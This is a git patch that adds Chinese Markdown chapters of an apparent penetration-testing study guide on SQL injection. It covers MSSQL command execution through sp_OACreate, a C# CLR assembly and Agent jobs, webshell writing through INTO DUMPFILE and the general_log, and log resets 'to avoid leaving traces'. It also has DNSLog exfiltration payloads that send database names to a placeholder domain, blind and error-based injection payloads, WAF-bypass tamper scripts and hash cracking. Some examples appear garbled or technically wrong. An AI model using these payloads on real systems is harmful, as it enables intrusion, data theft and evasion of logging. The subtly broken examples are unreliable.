From 34295a473ba7a62119dcaa1a9c4d67a3eb0b9c2e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:23:03 +0800 Subject: [PATCH] Add files via upload --- Chapter4/4-10.md | 77 ++++++++++++++++++++++++++++++++++ Chapter4/4-11.md | 21 ++++++++++ Chapter4/4-12.md | 36 ++++++++++++++++ Chapter4/4-13.md | 10 +++++ Chapter4/4-14.md | 50 ++++++++++++++++++++++ Chapter4/4-15.md | 59 ++++++++++++++++++++++++++ Chapter4/4-16.md | 52 +++++++++++++++++++++++ Chapter4/4-17.md | 39 +++++++++++++++++ Chapter4/4-18.md | 21 ++++++++++ Chapter4/4-19.md | 55 ++++++++++++++++++++++++ Chapter4/4-2.md | 31 ++++++++++++++ Chapter4/4-20.md | 84 +++++++++++++++++++++++++++++++++++++ Chapter4/4-21.md | 68 ++++++++++++++++++++++++++++++ Chapter4/4-22.md | 46 +++++++++++++++++++++ Chapter4/4-23.md | 68 ++++++++++++++++++++++++++++++ Chapter4/4-3.md | 67 ++++++++++++++++++++++++++++++ Chapter4/4-4.md | 101 +++++++++++++++++++++++++++++++++++++++++++++ Chapter4/4-5.md | 39 +++++++++++++++++ Chapter4/4-6.md | 43 +++++++++++++++++++ Chapter4/4-7.md | 26 ++++++++++++ Chapter4/4-8.md | 30 ++++++++++++++ Chapter4/4-9.md | 47 +++++++++++++++++++++ Chapter4/README.md | 19 +++++++++ 23 files changed, 1089 insertions(+) create mode 100644 Chapter4/4-10.md create mode 100644 Chapter4/4-11.md create mode 100644 Chapter4/4-12.md create mode 100644 Chapter4/4-13.md create mode 100644 Chapter4/4-14.md create mode 100644 Chapter4/4-15.md create mode 100644 Chapter4/4-16.md create mode 100644 Chapter4/4-17.md create mode 100644 Chapter4/4-18.md create mode 100644 Chapter4/4-19.md create mode 100644 Chapter4/4-2.md create mode 100644 Chapter4/4-20.md create mode 100644 Chapter4/4-21.md create mode 100644 Chapter4/4-22.md create mode 100644 Chapter4/4-23.md create mode 100644 Chapter4/4-3.md create mode 100644 Chapter4/4-4.md create mode 100644 Chapter4/4-5.md create mode 100644 Chapter4/4-6.md create mode 100644 Chapter4/4-7.md create mode 100644 Chapter4/4-8.md create mode 100644 Chapter4/4-9.md diff --git a/Chapter4/4-10.md b/Chapter4/4-10.md new file mode 100644 index 0000000..0ccd948 --- /dev/null +++ b/Chapter4/4-10.md @@ -0,0 +1,77 @@ +### MMSQL 的 xp_cmdshell() 函数被禁用怎么绕过 + +**1. 利用其他扩展存储过程** + +MSSQL 中还有一些其他的扩展存储过程,它们可能没有 `xp_cmdshell` 那么直接,但仍然可以用于执行命令或读写文件 + +- **`sp_OACreate` (OLE Automation Procedures)**: 这个过程通常用于创建 COM 对象,但如果你能找到合适的 COM 对象,比如 `WScript.Shell`,就可以利用它来执行命令 + + **示例代码:** + + ```sql + DECLARE @shell INT; + EXEC sp_OACreate 'WScript.Shell', @shell OUT; + EXEC sp_OAMethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\temp\output.txt'; + -- 之后你可以读取 output.txt 来获取结果 + ``` + + **注意:** 这种方法依赖于是否启用了 OLE Automation Procedures,并且需要寻找可以被利用的 COM 对象 + +**2. SQL Server Agent Jobs** + +如果 SQL Server Agent 服务正在运行,并且你拥有创建作业的权限,你可以创建一个新的 Agent Job,并在其中执行 PowerShell 或命令行脚本 + +- **创建作业 (Job)**: 创建一个 SQL Agent Job,步骤类型 (Step Type) 选择 **`Operating system (CmdExec)`** 或 **`PowerShell`** +- **编写脚本**: 在步骤中直接写入你要执行的命令 +- **启动作业**: 启动该作业,命令就会在 SQL Server Agent 的权限下执行 + +这种方法的好处是,即使 `xp_cmdshell` 被禁用,Agent Job 依然可以运行。但前提是,你有权限创建并执行作业 + +**3. CLR Assembly** + +SQL Server 提供了 CLR (Common Language Runtime) 集成功能,允许你在数据库中运行 .NET 代码。如果你可以创建一个恶意的 CLR Assembly,并在其中编写执行命令的代码,就可以绕过 `xp_cmdshell` + +- **启用 CLR**: + + ```sql + EXEC sp_configure 'clr enabled', 1; + RECONFIGURE; + ``` + +- **创建并部署 Assembly**: 编写一个 C# 代码,使用 `System.Diagnostics.Process` 类来执行命令,然后将其编译成 DLL,并上传到数据库 + +- **创建存储过程**: 创建一个 SQL 存储过程来调用这个 Assembly 中的方法 + + **C# 代码示例:** + + ```c# + using System; + using System.Diagnostics; + using System.Data.SqlClient; + using Microsoft.SqlServer.Server; + + public class StoredProcedures + { + [SqlProcedure] + public static void CmdExec(string command) + { + Process.Start("cmd.exe", "/c " + command); + } + } + ``` + + **SQL Server 端:** + + ```sql + -- 创建 Assembly + CREATE ASSEMBLY CommandExec FROM 'C:\path\to\YourAssembly.dll' WITH PERMISSION_SET = UNSAFE; + + -- 创建存储过程 + CREATE PROCEDURE sp_CmdExec @command NVARCHAR(4000) AS + EXTERNAL NAME [YourAssembly].[StoredProcedures].[CmdExec]; + + -- 执行 + EXEC sp_CmdExec 'whoami'; + ``` + + **注意:** CLR Assembly 功能通常是默认禁用的,并且创建 UNSAFE 权限集的 Assembly 需要 `sysadmin` 权限 \ No newline at end of file diff --git a/Chapter4/4-11.md b/Chapter4/4-11.md new file mode 100644 index 0000000..4aa89b8 --- /dev/null +++ b/Chapter4/4-11.md @@ -0,0 +1,21 @@ +### MySQL 5.0 以上和 5.0 以下的区别 + +**1. `information_schema` 的有无** + +**MySQL 5.0 以下**: + +- **信息收集困难**:没有 `information_schema` 这个**元数据数据库**。攻击者无法通过简单的查询 `information_schema.tables` 或 `information_schema.columns` 来列出数据库、表和列的名称。这迫使渗透测试人员**依赖盲注和字典攻击**来猜测表名和列名,大大增加了信息收集的难度和时间 + +**MySQL 5.0 及以上**: + +- **信息收集自动化**:`information_schema` 数据库的引入,彻底改变了 SQL 注入的自动化方式。攻击者可以通过一条简单的注入语句,就能**枚举出整个数据库的结构**,包括所有库名、表名、列名以及它们的数据类型。这使得像 **SQLmap** 这样的自动化工具能够高效地工作,大大降低了攻击的门槛。 + +**2. 并发操作模式** + +**MySQL 5.0 以下**: + +- **多用户单操作**:这个说法通常是指**不完全支持多用户并发**,或者并发控制机制相对简单。在某些版本中,对同一资源的并发访问可能导致锁定和性能问题。从渗透角度看,这可能导致一些复杂的注入技术(如基于锁定的时间盲注)效果不佳,但影响相对较小 + +**MySQL 5.0 及以上**: + +- **多用户多操作**:这通常指的是**更好的并发控制**和**事务支持**。MySQL 5.0 引入了**事务**和更强大的锁机制,使得多个用户可以同时对数据库进行复杂操作,而不会相互干扰。这对于正常的业务应用至关重要 \ No newline at end of file diff --git a/Chapter4/4-12.md b/Chapter4/4-12.md new file mode 100644 index 0000000..5bdd03f --- /dev/null +++ b/Chapter4/4-12.md @@ -0,0 +1,36 @@ +### SQL 注入 outfile() 被过滤怎么绕过 + +**1. 利用 `dumpfile()` 函数** + +如果 `outfile()` 被禁用,但 `dumpfile()` 未被过滤,这是一个直接的替代方案 + +- **区别**:`outfile()` 可以将查询结果输出到文件中,支持多行数据。而 `dumpfile()` 只能输出单行数据。 +- **用法**:将需要写入文件的内容作为查询结果,然后使用 `into dumpfile` 写入 + +```sql +SELECT '' INTO DUMPFILE '/var/www/html/shell.php'; +``` + +**2. 利用日志文件** + +如果数据库开启了通用查询日志(`general_log`)或者慢查询日志(`slow_query_log`),并且你有权限修改日志路径,那么可以利用这个特性来写入 Webshell + +- **步骤**: + 1. **设置日志文件路径**:将 `general_log_file` 或 `slow_query_log_file` 的值修改为 Web 目录下的一个可写路径,例如 `/var/www/html/shell.php` + 2. **开启日志**:将 `general_log` 或 `slow_query_log` 设为 `ON` + 3. **写入恶意代码**:执行一个包含 Webshell 代码的查询,例如 `SELECT ''`。这条查询语句会被写入到日志文件中,从而创建 Webshell + +```sql +# 修改日志路径 +SET GLOBAL general_log_file = '/var/www/html/shell.php'; + +# 开启日志 +SET GLOBAL general_log = ON; + +# 写入 Webshell +SELECT ''; + +# 写入完成后,关闭日志并重置路径,避免留下痕迹 +SET GLOBAL general_log = OFF; +SET GLOBAL general_log_file = '/path/to/original/log'; +``` \ No newline at end of file diff --git a/Chapter4/4-13.md b/Chapter4/4-13.md new file mode 100644 index 0000000..ba97e5d --- /dev/null +++ b/Chapter4/4-13.md @@ -0,0 +1,10 @@ +### SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过 + +许多 Web 应用程序不仅处理 POST 和 GET 数据,还会依赖于 HTTP 请求头中的信息。如果这些头信息没有经过严格的过滤,就可能成为注入点 + +- **User-Agent:** 很多网站会记录访问者的 User-Agent 信息。如果后台程序直接将 User-Agent 拼接到 SQL 查询中,就可能存在注入 +- **X-Forwarded-For:** 这个头通常用于获取用户的真实 IP 地址。当网站部署了负载均衡或 CDN 时,它会记录用户的原始 IP。同样,如果处理不当,也可能成为注入点 +- **Cookie:** 网站通常会使用 Cookie 来存储会话信息或其他用户数据。如果 Cookie 中的某个值直接参与了 SQL 查询,就可能被利用 +- **Referer:** 网站会记录用户是从哪个页面跳转过来的。如果这个信息直接被用于查询,同样存在风险 + +**绕过方式:** 以 User-Agent 为例,你可以使用 Burp Suite 或其他抓包工具,在请求头中修改 User-Agent 的值,构造 SQL 注入 Payload。 例如:`User-Agent: ' OR 1=1--` \ No newline at end of file diff --git a/Chapter4/4-14.md b/Chapter4/4-14.md new file mode 100644 index 0000000..73f2bff --- /dev/null +++ b/Chapter4/4-14.md @@ -0,0 +1,50 @@ +### SQL 盲注 if() 函数被过滤怎么绕过 + +**1. 利用 `CASE WHEN` 语句** + +`CASE WHEN` 语句是 SQL 中最常见的条件判断表达式,其功能与 `IF()` 函数非常相似,且通常不会被安全设备过滤 + +- **语法:** `CASE WHEN [condition] THEN [value1] ELSE [value2] END` +- **布尔盲注绕过:** `SELECT * FROM users WHERE id = 1 AND CASE WHEN (1=1) THEN 1 ELSE 2 END = 1` +- **时间盲注绕过:** `SELECT * FROM users WHERE id = 1 AND CASE WHEN (SUBSTRING(database(),1,1) = 'd') THEN SLEEP(5) ELSE 0 END` + +**2. 利用 `UNION` + 错误信息** + +当 `IF()` 被过滤,但 `UNION` 和错误信息回显没有被完全禁用时,我们可以利用 `UNION` 来触发自定义的错误信息,从而进行布尔盲注 + +- **原理:** 通过 `UNION` 将一个错误的查询结果与正常的查询结果合并,当错误的查询语句执行时,数据库会返回错误信息,其中可能包含我们想要的数据 +- **绕过方式:** `SELECT * FROM users WHERE id = -1 UNION SELECT 1, 2, 3 FROM DUAL WHERE (1=2) OR (1=1) UNION SELECT 1, 2, 3 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a` 这个方法需要根据具体情况进行调整,利用数据库的语法错误或类型转换错误来触发自定义的错误信息 + +**3. 利用位运算和 `LIKE` 语句** + +当数据库不支持 `IF()` 或 `CASE` 语句时,我们可以利用逻辑运算和位运算来逐位判断数据 + +- **原理:** `LIKE` 语句可以用于模糊匹配,我们可以将它和数据库中的数据结合起来,逐个字符地猜解 +- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND username LIKE 'a%'` 如果该查询返回结果,则说明 `username` 的第一个字符是 'a'。我们可以通过不断改变 `%` 前的字符来逐个猜解数据 + +**4. 利用 `benchmark()` 函数** + +在 MySQL 中,`benchmark()` 函数可以用来执行指定的函数多次,从而消耗大量时间。这可以用来替代 `SLEEP()` 函数进行时间盲注 + +- **原理:** `BENCHMARK(count, expr)` 会重复执行 `expr` 表达式 `count` 次。如果 `expr` 包含一个耗时的操作,我们可以根据执行时间来判断条件是否成立 + +- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000, MD5(1)) AND (SUBSTRING(database(),1,1) = 'd')` + + 如果条件 `(SUBSTRING(database(),1,1) = 'd')` 成立,`BENCHMARK` 函数就会被执行,页面响应会变慢。否则,页面会立即响应 + +**5. 利用 `get_lock()` 函数** + +在 MySQL 中,`GET_LOCK()` 函数可以用于获取一个全局锁,如果锁已被其他会话占用,该函数会等待直到锁被释放或超时 + +- **原理:** 我们可以利用 `GET_LOCK()` 函数设置一个长达数秒的锁,从而实现时间盲注的效果 + +- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND IF((SUBSTRING(database(),1,1)='d'), GET_LOCK('hack', 5), 0)` + + 如果条件成立,`GET_LOCK` 会被执行,页面会等待 5 秒 + +**6. 利用 `ELT()` 函数** + +`ELT()` 函数是 MySQL 中的一个字符串函数,它可以根据索引返回列表中的一个字符串 + +- **原理:** `ELT(N, str1, str2, ...)` 返回第 N 个字符串。我们可以将它与条件判断结合,实现布尔盲注 +- **绕过方式:** `SELECT * FROM users WHERE id = 1 AND ELT(1, 'false', 'true')` 如果条件为真,`ELT` 会返回 `true`,否则返回 `false` \ No newline at end of file diff --git a/Chapter4/4-15.md b/Chapter4/4-15.md new file mode 100644 index 0000000..b5ec5f2 --- /dev/null +++ b/Chapter4/4-15.md @@ -0,0 +1,59 @@ +### SQL 注入无回显利用 DNSLog 如何构造 + +**1. MySQL/MariaDB** + +在 MySQL 和 MariaDB 中,`LOAD_FILE()` 函数和 `UNC` 路径(Windows 共享路径)是触发 DNS 查询的常用手段 + +**a. 利用 `LOAD_FILE()`** + +`LOAD_FILE()` 函数用于读取文件内容,但如果给它一个 UNC 路径,它会触发 DNS 查询 + +- **Payload 构造:** `SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));` +- **解释:** + - `SELECT DATABASE()`:获取当前数据库名 + - `CONCAT(...)`:将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 `testdb.your-dnslog.com` + - `LOAD_FILE()`:尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询 + - `\\a`:这是一个占位符,用于避免语法错误 + +**b. 利用 `DNS_REVERSE()` 和 `BENCHMARK()`** + +这是一个更高级的技巧,需要 MySQL 5.7.10 或更高版本,且安装了 `sys` 模式 + +- **Payload 构造:** `SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%');` + - 注意:这个方法主要是为了演示 `sys` 库的功能,实际操作中 `LOAD_FILE` 更常见 + +**2. SQL Server** + +在 SQL Server 中,我们可以利用 `xp_cmdshell` 或 `sp_oacreate` 来触发 DNS 查询 + +**a. 利用 `xp_cmdshell`** + +`xp_cmdshell` 是一个强大的存储过程,可以执行系统命令。我们可以利用 `ping` 命令来触发 DNS 查询 + +- **Payload 构造:** `EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';` +- **解释:** + - `xp_cmdshell`:执行 `ping` 命令 + - `SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases`:获取第一个数据库的名称 + - `+`:将数据库名与你的 DNSlog 域名拼接 + +**b. 利用 `sp_oacreate`** + +`sp_oacreate` 可以创建 OLE 对象,我们可以利用它来发起 HTTP 请求,从而触发 DNS 查询 + +- **Payload 构造:** `DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';` + + + +#### 3. PostgreSQL + + + +------ + +在 PostgreSQL 中,`COPY` 命令和 `pg_sleep` 结合可以实现 DNSlog。但更直接的方法是利用 `pg_send_query` 或 `UDF`(用户定义函数)。 + +- **Payload 构造:** `SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL;` +- **解释:** + - `pg_send_query()`:用于发送一个查询。 + - `(SELECT version())`:获取 PostgreSQL 的版本信息。 + - 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性 \ No newline at end of file diff --git a/Chapter4/4-16.md b/Chapter4/4-16.md new file mode 100644 index 0000000..8bb9e57 --- /dev/null +++ b/Chapter4/4-16.md @@ -0,0 +1,52 @@ +### and or 被过滤怎么绕过 + +**1. 利用逻辑运算符的符号替代** + +在某些情况下,WAF(Web Application Firewall)可能只过滤了关键字,而忽略了它们的符号表示 + +- **`&&` 替代 `and`:** 在 MySQL 中,`&&` 和 `and` 的功能相同。如果 `and` 被过滤,可以尝试使用 `&&`。 +- **`||` 替代 `or`:** 同样,`||` 可以替代 `or` 来进行逻辑或操作。 + +**Payload 实例:** + +- **原始注入:** `id=1 and 1=2` +- **绕过:** `id=1 && 1=2` + +**2. 利用`!`、`<>`、`not` 等操作符** + +通过巧妙地结合其他逻辑或比较操作符,我们可以构造出等价的判断逻辑 + +- **`and` 的替代:** + - `if not (a=1) then ...` 等价于 `if a<>1 then ...` + - 我们可以利用 `not` 或 `<>` 来否定条件,从而实现 `and` 的效果 + - **例如:** `username=admin' or not ('1'='1' and '1'='2')` 这句可以被改写为 `username=admin' or not (1=1)`,这在逻辑上是错误的,我们可以利用它来测试 + - **更具体的绕过:** `id=1 and 1=2` 可以被改写为 `id=1 or not 1=1`,这在布尔盲注中可以用来判断 + +**3. 利用`union select`进行盲注** + +当布尔条件失效时,可以尝试使用 `union select` 来进行盲注 + +- **原理:** + - 正常情况下,`union select` 需要前后两个查询的列数一致 + - 我们可以利用这一点,通过 `union select` 来注入一个不存在的列,从而触发数据库的报错,通过报错信息来判断 +- **绕过方式:** + - **首先,使用 `union` 探测列数。** `id=1 union select 1,2,3...` + - **然后,利用列数来进行盲注。** `id=-1 union select 1, 2, user() like 'root%'` 如果页面正常回显,则说明 `user()` 以 `root` 开头。通过这种方式,可以逐字逐句地猜解数据 + +**4. 利用`if()`函数的替代品** + +在布尔盲注中,`if()` 函数通常是不可或缺的。如果它和 `and` `or` 一起被过滤,那么需要寻找替代函数 + +- **`case when ... then ... end`:** 这是 `if()` 函数最常见的替代品,功能完全一样,且通常不会被过滤 + - **例如:** `id=1 and (case when 1=1 then sleep(5) else 0 end)` + - **绕过:** `id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)` +- **`greatest()` 和 `least()`:** 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断 + - **例如:** `id=1 and greatest(1, (select if(1=1, 0, 1)))` + - **绕过:** `id=1 or greatest(ascii(substr(database(),1,1)), 100)>100` + +**5. 利用其他查询特性** + +当所有常用方法都被过滤时,可以尝试利用一些非常规的查询特性 + +- **`having` 子句:** `having` 用于对 `group by` 的结果进行过滤。在一些情况下,`having` 后面可以接子查询,可以利用这一点进行注入 +- **`limit offset`:** 我们可以通过 `limit` 和 `offset` 来逐行读取数据,再结合其他技术进行判断 \ No newline at end of file diff --git a/Chapter4/4-17.md b/Chapter4/4-17.md new file mode 100644 index 0000000..8b9816b --- /dev/null +++ b/Chapter4/4-17.md @@ -0,0 +1,39 @@ +### SQLMap 自带脚本有哪些 + +**1. 编码与混淆(绕过签名检测)** + +这类脚本通过对注入语句进行编码或转换,来改变其特征,以躲避基于签名的检测 + +- `**charencode.py**`:对所有字符进行 URL 编码,适用于 URL 编码绕过 +- `**randomcase.py**`:将 SQL 关键字的字母大小写随机化 + - **示例:** `SELECT` -> `sELeCT` +- `**space2comment.py**`:将空格替换为 SQL 注释 `/**/` + - **示例:** `SELECT user FROM users` -> `SELECT/**/user/**/FROM/**/users` +- `**space2mysqlblank.py**`:用 MySQL 专有的空格字符(如 Tab、换行符)替换空格 +- `**base64encode.py**`:对整个注入语句进行 Base64 编码。需要目标网站解码才能生效 + +**2. 空白字符与分隔符替换** + +这类脚本利用不同数据库对空白字符的解析差异来绕过过滤 + +- `**apostrophemask.py**`:将单引号 `'` 替换为 UTF-8 编码的 `'` +- `**equaltolike.py**`:将等号 `=` 替换为 `LIKE` 关键字 + - **示例:** `id=1` -> `id LIKE 1` +- `**unionalltounion.py**`:将 `UNION ALL` 替换为 `UNION`,在某些情况下可能绕过过滤 +- `**space2plus.py**`:将空格替换为加号 `+`,但需要注意这可能影响语句语义 + +**3. 语义与结构混淆** + +这类脚本通过改变语句的逻辑结构,来使注入语句看起来像正常的查询 + +- `**between.py**`:将大于等于 `>=` 替换为 `BETWEEN` + - **示例:** `id>=1` -> `id BETWEEN 1 AND 999` +- `**ifnull2casewhenisnull.py**`:将 `IFNULL(A, B)` 替换为 `CASE WHEN ISNULL(A) THEN B ELSE A END` + +**4. 绕过 WAF 的特定脚本** + +这些脚本通常针对特定的安全产品或通用 WAF 规则 + +- `**modsecurityzeroversioned.py**`:在 SQL 语句后添加 `/*-!11111*/` 来绕过 ModSecurity WAF 的特定规则 +- `**xforwardedfor.py**`:在 HTTP 请求头中伪造 `X-Forwarded-For` 字段,以绕过基于 IP 的限制 +- `**sp_password.py**`:在有效载荷的末尾添加 `sp_password` 来绕过 MS-SQL Server 的日志记录 \ No newline at end of file diff --git a/Chapter4/4-18.md b/Chapter4/4-18.md new file mode 100644 index 0000000..7183b15 --- /dev/null +++ b/Chapter4/4-18.md @@ -0,0 +1,21 @@ +### 扫出后缀为 .asp 的数据库文件,访问乱码如何利用 + +这是最常见的情况。利用步骤如下: + +- **使用工具直接打开**: + - 使用 **Microsoft Access** 软件直接打开。这是最直接的方式 + - 使用 **Navicat Premium**、**DBeaver** 或其他支持 `.mdb` 格式的数据库管理工具打开。这些工具通常兼容性更好,即使文件头被修改,也可能能识别并打开 +- **获取敏感信息**: + - 打开数据库后,立即检查所有表(Tables) + - **重点关注**: + - **管理员表**:通常命名为 `admin`、`users`、`manager` 等 + - **用户表**:通常包含 `username`、`password`、`email` 等字段 + - **配置表**:可能包含数据库连接字符串、API 密钥等 + - **订单/客户信息表**:包含用户的个人隐私数据 +- **破解加密密码**: + - 如果密码字段是加密或散列(hash)的,需要进一步处理 + - **常见哈希类型**:MD5、SHA1 等 + - **破解方法**: + - **在线查询**:如果哈希值是常见的,可以尝试在 **HashKiller**、**Crackstation** 等在线网站查询。 + - **字典破解**:使用 **John the Ripper** 或 **Hashcat** 等工具,配合强大的密码字典进行暴力破解。 + - **彩虹表**:使用预先计算好的彩虹表进行快速查询 \ No newline at end of file diff --git a/Chapter4/4-19.md b/Chapter4/4-19.md new file mode 100644 index 0000000..531cf82 --- /dev/null +++ b/Chapter4/4-19.md @@ -0,0 +1,55 @@ +### 找到一个注入点怎么判断对方什么数据库 + +**1. 报错信息判断** + +最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息 + +- **MySQL**:`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use` +- **SQL Server**:`Microsoft OLE DB Provider for SQL Server`、`Incorrect syntax near '...` +- **Oracle**:`ORA-01756: quoted string not properly terminated` +- **PostgreSQL**:`PostgreSQL query failed: ERROR: parser: parse error` +- **SQLite**:`sqlite_query()`、`SQL syntax error` + +**2. 特有函数和语法判断** + +即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于**盲注**场景 + +**MySQL** + +- **`version()`**:`and 1=1 and version()`。如果页面返回了版本号(如 `5.5.53`),那就是 MySQL +- **`sleep()`**:`and sleep(5)`。如果页面延迟了 5 秒,那很有可能是 MySQL +- **`user()`**:`and user()` +- **`database()`**:`and database()` +- **`load_file()`**:`and load_file('/etc/passwd')` + +**SQL Server** + +- **`@@version`**:`and 1=1 and @@version`。如果页面返回版本信息,则是 SQL Server +- **`xp_cmdshell`**:`and 1=1;exec xp_cmdshell('ping 127.0.0.1')--`。如果请求延迟,可能存在命令执行漏洞 +- **`db_name()`**:`and db_name()` +- **`system_user`**:`and system_user` + +**Oracle** + +- **`user`**:`and user` +- **`sys.dba_tables`**:`and 1=1 and (select count(*) from sys.dba_tables)`。如果返回正常的页面,说明存在这张表 +- **`dbms_pipe.receive_message()`**:`and 1=1 and dbms_pipe.receive_message('a',5)`。可以用来进行带外信道(OOB)注入 + +**PostgreSQL** + +- **`pg_sleep()`**:`and pg_sleep(5)`。如果页面延迟,很可能是 PostgreSQL +- **`version()`**:`and version()` +- **`pg_database`**:`and 1=1 and (select count(*) from pg_database)` + +**3. 不同数据库的查询差异** + +每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断 + +- **字符串拼接**: + - **MySQL**:`union select 'a','b'` + - **SQL Server**:`union select 'a'+'b'` + - **Oracle**:`union select 'a'||'b'` +- **注释符号**: + - **MySQL/PostgreSQL**:`-- `(后面需要加空格)、`#` + - **SQL Server/Oracle**:`--` + - **内联注释**:`/**/` 可以在多种数据库中使用 \ No newline at end of file diff --git a/Chapter4/4-2.md b/Chapter4/4-2.md new file mode 100644 index 0000000..792cf85 --- /dev/null +++ b/Chapter4/4-2.md @@ -0,0 +1,31 @@ +### SQL 报错注入函数有哪些 + +**MySQL** + +| 函数/方法 | 利用原理 | 举例 | +| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| updatexml() | 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 | ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1) | +| extractvalue() | 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 | ... AND extractvalue(1, concat(0x7e, (SELECT user()))) | +| floor() | 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 | ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) | +| name_const() | 用于创建一个带名称的匿名列。当在子查询中,我们使用 `NAME_CONST()` 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来 | AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) | +| exp() | 我们可以通过 `~` 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出 | AND (exp(~(SELECT * FROM (SELECT database())x))) | + +**SQL Server** + +| 函数/方法 | 利用原理 | 举例 | +| ------------------ | ------------------------------------------------------------ | ----------------------------------------- | +| convert() / cast() | 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 | ... AND 1=convert(int,(SELECT db_name())) | + +**PostgreSQL** + +| 函数/方法 | 利用原理 | 举例 | +| --------- | -------------------------------------------------- | ----------------------------------------- | +| cast() | 强制类型转换,将字符串转换为不兼容的数据类型时报错 | ... AND 1=CAST((SELECT version()) as int) | + +**Oracle** + +| 函数/方法 | 利用原理 | 举例 | +| ------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| utl_inaddr.get_host_address() | utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 | ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual))) | +| ctxsys.drithsx.sn() | 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 | ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')) | +| dbms_utility.sqlcode_to_char() | 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 | AND 1=TO_NUMBER((SELECT 'a' | \ No newline at end of file diff --git a/Chapter4/4-20.md b/Chapter4/4-20.md new file mode 100644 index 0000000..b426357 --- /dev/null +++ b/Chapter4/4-20.md @@ -0,0 +1,84 @@ +### 单引号被过滤怎么绕过 + +**1. 使用双引号** + +如果后端代码在 SQL 查询中使用了双引号 `"` 来包裹字符串,那么你可以尝试用双引号进行注入 + +**原始查询:** `SELECT * FROM users WHERE username = "$username"` + +**注入尝试:** `username=" or 1=1 -- "` + +**最终执行的 SQL:** `SELECT * FROM users WHERE username = "" or 1=1 -- "` + +这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试 + +**2. 使用十六进制编码** + +有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 `'` 或整个字符串(如 `or 1=1`)进行十六进制编码,然后通过 `0x` 前缀传入 + +**原始查询:** `SELECT * FROM users WHERE id = '...注入点...'` + +**注入尝试:** 假设你要注入 `or 1=1`,单引号 `'` 的十六进制是 `0x27`。 `' or 1=1 -- ` 的十六进制是 `0x27206f7220313d31202d2d20` + +**完整 URL 注入:** `id=0x27206f7220313d31202d2d20` + +**最终执行的 SQL:** `SELECT * FROM users WHERE id = 'or 1=1 -- '` + +虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字 + +**3. 使用宽字节注入** + +宽字节注入是一种专门针对 PHP 的 `addslashes()` 函数和 `magic_quotes_gpc` 配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节 + +当服务器使用 `addslashes()` 函数时,它会将单引号 `'` 转义为 `\'`。在 ASCII 编码下,`\` 的十六进制是 `0x5c`,`'` 是 `0x27`,所以 `\'` 就是 `0x5c27` + +但如果后端数据库使用了 GBK 编码,且它将 `0x5c` 和它前面的一个字节组合成一个汉字时,那么 `\'` 中的 `\` 就会被“吃掉”,从而使得后面的单引号 `'` 重新生效 + +**攻击步骤:** + +1. 找到一个 GBK 编码的网站 +2. 在 URL 中注入一个宽字节,例如 `%df` +3. 然后注入单引号 + +**注入尝试:** `id=1%df%27` + +**服务器端处理:** + +1. PHP 的 `addslashes()` 函数收到 `%df'` +2. 它在 `'` 前面加上 `\`,变成 `%df\'` +3. URL 编码后,`%df\'` 变为 `%df%5c%27` +4. 当这个字符串传到数据库时,GBK 编码会把 `%df%5c` 当作一个汉字,`%27` 就会单独留下,恢复成单引号 `'` + +**最终执行的 SQL:** `SELECT * FROM users WHERE id = '1運''...` (`'運'` 是一个汉字) 后面的 `'` 